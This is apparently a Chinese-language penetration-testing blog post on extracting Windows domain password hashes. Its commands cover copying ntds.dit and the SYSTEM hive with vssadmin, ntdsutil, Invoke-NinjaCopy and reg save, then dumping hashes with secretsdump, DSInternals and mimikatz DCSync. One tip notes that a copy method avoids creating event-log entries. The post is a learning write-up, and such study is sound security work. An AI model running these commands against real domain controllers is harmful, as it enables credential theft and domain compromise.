内网初探-windows hash提取


1、hash存放

C:\Windows\NTDS\Ntds.dit存放包括但不限于有关域用户、域组、用户hash等信息。其中域用户的密码hash由存储在system注册表配置单元中的密钥进行二次加密。

而在工作组环境下用户密码等信息存储在SAM文件中,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。

2、ntds.dit获取

上文知ntds.dit文件被Windows锁定,必须要利用卷影拷贝服务*(Volume Shadow Copy Service,VSS)*才能获取该文件的副本。VSS本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。

获取ntds.dit副本步骤如下:

  1. 创建目标主机的卷影拷贝(包含Windows上的全部文件)
  2. 然后在创建的卷影拷贝中将ntds.dit复制出来
  3. 最后将当菜创建的卷影拷贝删除

windows原生vssadmin工具

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝。*(适用范围Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008)*

以下操作需要域管权限:

1)首先创建C盘的卷影副本

vssadmin create shadow /for=C:

image-20210629103236252

2)将ntds.dit文件从卷影副本中拷贝出来,而后删除卷影副本即可

image-20210629103756810

通过vbs脚本

脚本地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

该脚本本质上通过wmi对shadowcopy进行操作的,与vssadmin类似,命令的流程:启动-创建卷影副本-拷贝ntds.dit-根据ID删除卷影副本

cscript Desktop\vssown.vbs /start

image-20210629110100489

image-20210629110325908

image-20210629110751660

同样使用wmi实现vss(卷影拷贝服务)还有powershell脚本:https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

原生工具Ntdsutil.exe创建快照

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,该工具被默认安装在了域控制器上,不仅可以本地操作域控主机,还可以通过域内主机在域控上远程操作(需要域管权限)

以下操作需要域管权限:

1)为主机创建一个包含所有文件的快照,该快照中的文件在复制时同样不受windows锁定机制的影响。创建之后需要通过ID将快照挂在在磁盘中

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount <ID>" quit quit

image-20210629112333076

2)复制出ntds.dit后,取消快照挂载并删除快照

image-20210629112619433

image-20210629155406474

创建IFM提取Ntds.dit文件

在使用ntdsutil创建创建媒体安装集(IFM)时,会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作,我们可以利用该过程获取NTDS.dit文件,需要管理员权限。

创建ifm,目录名为test,创建后访问test目录能看到ntds.dit和SYSTEM文件,复制出来后删除test目录即可

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

image-20210629162245431

PowerSploit中的Invoke-NinjaCopy脚本

地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

该脚本用于“万能复制”,像windows主机里SAM文件、域控中的Ntds.dit,里面数据很多有价值的信息,普通的COPY命令是无法复制的,使用万能复制可以复制这类文件。

该脚本通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件。

使用方法:

Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"

★★★ 这种方法没有调用Volume Shadow Copy服务,所以不会产生系统日志文件7036(卷影拷贝服务进入运行状态的标志)。

image-20210629170658418

3、SYSTEM文件获取

SYSTEM中保存ntds.dit的加密密钥,且同样需要绕过windows锁对其读写

获取ntds.dit文件的相关方法同样适用于此,也可以使用reg命令提取:

reg save hklm\system c:\system.hive

4、导出ntds.dit中的hash

Impacket中的secretsdump

该脚本可远程dump出域控主机的ntds.dit文件中的hash,也可以本地使用

PS:该脚本默认使用的是drsuapi,此类api实现目录复制服务远程协议Directory Replication Service (DRS) Remote Protocol

本地导出system.hive和ntds.dit文件进行测试如下:

python3 examples/secretsdump.py -system winhash/system.hive -ntds winhash/ntds.dit LOCAL

image-20210629210600399

secretsdump.py默认使用的drsuapi导出,设置选项也支持vss方式导出

DSInternals PowerShell模块

powershell 5版本以上的直接使用命令安装

Install-Module DSInternals -Force

5以下版本的下载release通过import-module使用

Ps: powershell一般有执行策略限制,如果导入报警需要使用命令设置策略宽松,如下

Set-ExecutionPolicy unRestricted

而后就可以导入模块,跑出SYSTEM中的密钥,而后跑出用户hash

Get-Bootkey -SystemHivePath "C:\Users\xxx\Desktop\fotest\SYSTEM"
Get-ADDBAccount -All -DBPath 'C:\Users\xxx\Desktop\fotest\ntds.dit' -Bootkey <KEY>

image-20210629220010099

image-20210629220448493

mimikatz在线提取

mimikatz中利用dcsync可提取域控上Ntds.dit中的hash,该方法需要域管权限,在任意域内机器上使用。

在域中,不同的DC之间,每隔15分钟会进行一次域数据的同步。当一个DC(辅助DC)想从其他DC(主DC)获取数据时,辅助DC会向主DC发起一个GetNCChanges请求。请求的数据包括需要同步的数据,如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用的这个原理,模仿一个域控,从真实的域控中请求数据,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。

使用命令:

lsadump::dcsync /domain:xxx.com (/user:administrator) /all /csv

image-20210701090342107

End

写完啦,东拼西凑做了个小总结,算是一个复现吧,由于刚刚学习网知识,有不正确的地方请指正

reference

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync

https://www.freebuf.com/articles/network/251267.html


文章作者: half90
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 half90 !
评论
  目录